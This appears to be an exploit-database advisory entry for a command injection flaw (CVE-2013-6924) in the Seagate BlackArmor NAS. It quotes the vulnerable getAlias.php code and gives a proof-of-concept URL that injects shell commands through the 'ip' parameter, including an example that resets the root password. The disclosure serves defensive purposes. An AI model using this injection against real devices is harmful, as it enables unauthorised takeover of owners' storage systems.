vendor:
BlackArmor NAS
by:
Jeroen - IT Nerdbox
9,8
CVSS
CRITICAL
Remote Command Execution
78
CWE
Product Name: BlackArmor NAS
Affected Version From: sg2000-2000.1331
Affected Version To: sg2000-2000.1331
Patch Exists: YES
Related CWE: CVE-2013-6924
CPE: a:seagate:blackarmor_nas_220
Metasploit:
N/A
Other Scripts:
N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References:
N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2014
Seagate BlackArmor NAS – Remote Command Execution
The file getAlias.php located in /backupmgt has the following lines: $ipAddress = $_GET["ip"; if ($ipAddress != "") { exec("grep -I $ipAddress $immedLogFile > aliasHistory.txt"); .. .. } The GET parameter can easily be manipulated to execute commands on the BlackArmor system. Proof of Concept: http(s)://<ip | host>/backupmgt/getAlias.php?ip=xx /etc/passwd; <your command here>; Example to change the root password to 'mypassword': http(s)://<ip | host>/backupmgt/getAlias.php?ip=xx /etc/passwd; echo 'mypassword' | passwd --stdin;
Mitigation:
Ensure that the web application is not vulnerable to command injection attacks.